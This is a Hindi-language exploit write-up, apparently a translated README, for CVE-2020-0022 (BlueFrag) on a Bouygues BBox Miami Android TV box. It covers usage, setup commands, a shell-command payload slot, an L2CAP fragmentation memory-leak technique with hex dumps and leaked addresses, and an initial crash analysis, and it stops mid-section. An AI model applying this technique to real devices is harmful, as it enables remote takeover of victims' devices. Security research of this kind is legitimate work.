
CVE-2020-0022 भेद्यता का शोषण Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9) पर
########################################################################################
Bouygues BBox Miami पर CVE-2020-0022 कमज़ोरी का शोषण Android TV 8.0 - ARM32 Cortex A9 Polo35 द्वारा - 2020/08/24
########################################################################################
"उपयोग: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Jan Ruge के स्क्रिप्ट पर आधारित CVE-2020-0022 एक Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
परिचय और सुझाव
########################################################################################
यह स्क्रिप्ट python bluetooth मॉड्यूल का उपयोग करके ACL कनेक्शन हैंडल प्राप्त करती है इसलिए आपको bluetooth लाइब्रेरीज़ और pybluez (python2 के लिए संस्करण 0.22 और python3 के लिए नवीनतम संस्करण) स्थापित करने की आवश्यकता है
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
आप स्क्रिप्ट को एक शेल कमांड पैरामीटर के रूप में दे सकते हैं जो bluetooth डेमॉन द्वारा सिस्टम फ़ंक्शन के साथ निष्पादित होगा शेल कमांड के लिए केवल 104 वर्ण उपलब्ध हैं क्योंकि ROP श्रृंखला दूसरे पेलोड के पहले 20 बाइट्स लेती है
उदाहरण: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
यह स्क्रिप्ट एडीबी का उपयोग करके कनेक्शन की जांच कर सकती है, लॉगकैट देख सकती है और जरूरत पड़ने पर लक्ष्य को रिबूट कर सकती है इसके लिए आपको पैरामीटर के रूप में लक्ष्य आईपी देना होगा सुनिश्चित करें कि लक्ष्य एडीबी कनेक्ट से जुड़ा है और स्क्रिप्ट का उपयोग करने से पहले कनेक्शन की जांच के लिए एक शेल खोलें
सबसे अच्छा परिणाम तब मिलता है जब स्क्रिप्ट कहती है कि आप एक स्मार्टफोन के माध्यम से ब्लूटूथ से लक्ष्य से जुड़ें;) एक्सप्लॉयट को ट्रिगर करने में 30 से अधिक प्रयास लग सकते हैं लेकिन कभी-कभी यह पहले प्रयास में ही काम कर जाता है
########################################################################################
ARM32 के साथ मेमोरी लीक
########################################################################################
Bouygues BBox Miami ARM 32 बाइट Cortex A9 प्रोसेसर पर आधारित है ARM64 से अंतर यह है कि libc memcpy फ़ंक्शन अंडरफ़्लो नहीं होता है इसलिए Jan Ruge जैसी लीक प्राप्त करना असंभव है लेकिन यह कमज़ोरी मौजूद है और दूसरे तरीके से शोषण योग्य है
4 बाइट विखंडन के साथ l2cap पैकेट भेजकर हम reassemble_and_dispatch में 0 लंबाई की memcpy को ट्रिगर कर सकते हैं यह गूंज के अंत में 4 बाइट्स अप्रारंभीकृत डेटा प्राप्त करने की अनुमति देता है
पहले पैकेट की लंबाई (आगे mem_offset नाम) बढ़ाकर हम अप्रारंभीकृत मेमोरी पर "चल" सकते हैं एक ही mem_offset के साथ 32 गूँज प्राप्त करने से 2 से 8 शोषण योग्य गूँज मिलती हैं गूँज दोहराई जाती हैं इसलिए एक ही mem_offset पर 32 से अधिक गूँज प्राप्त करने की आवश्यकता नहीं है यह विधि मेमोरी को पैकेट्स से भी भरती है इसलिए पैटर्न को पहचानना और लीक में ऑफ़सेट ढूंढना आसान है
mem_offset वर्णों में l2cap पैकेट की लंबाई है जैसे: mem_offset 184 = 184 वर्णों का l2cap पैकेट = 368 बाइट्स का l2cap पैकेट
पुनरावृत्तियों के साथ मेमोरी पर "चलने" और अप्रारंभीकृत डेटा का उदाहरण:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
हम mem_offset 180 और 184 पर लिटिल एंडियन में कुछ मेमोरी एड्रेस देख सकते हैं
a4ce80a3 पता देता है 0xa380cea4 24d280a3 पता देता है 0xa380d224 a4d580a3 पता देता है 0xa380d5a4 9cce80a3 पता देता है 0xa380ce9c 1cd280a3 पता देता है 0xa380d21c 9cd580a3 पता देता है 0xa380d59c
लगभग हर रिबूट के बाद कम से कम 4 या 5 mem_offset होते हैं जहाँ वास्तविक मेमोरी पता मिलना संभव है हम बाद में देखेंगे कि इनका उपयोग कैसे करना है
########################################################################################
पहले क्रैश का विश्लेषण
########################################################################################
2 बाइट विखंडन के साथ l2cap पैकेट भेजकर हम reassemble_and_dispatch में -2 लंबाई की memcpy को ट्रिगर कर सकते हैं यह दूसरे पैकेट से 30 बाइट्स नियंत्रित डेटा के साथ आंशिक पैकेट के बाहर ओवरफ़्लो करने की अनुमति देता है 30 कॉपी किए गए बाइट्स के कारण 32 बाइट्स से बड़े पैकेट भेजना आवश्यक नहीं है, अंतिम 4 बाइट्स शून्य होने चाहिए
यह ओवरफ़्लो विधि कभी-कभी _Z11list_appendP6list_tPv+65 में नियंत्रित R0 रजिस्टर के साथ ब्लूटूथ डेमॉन को क्रैश कर देती है: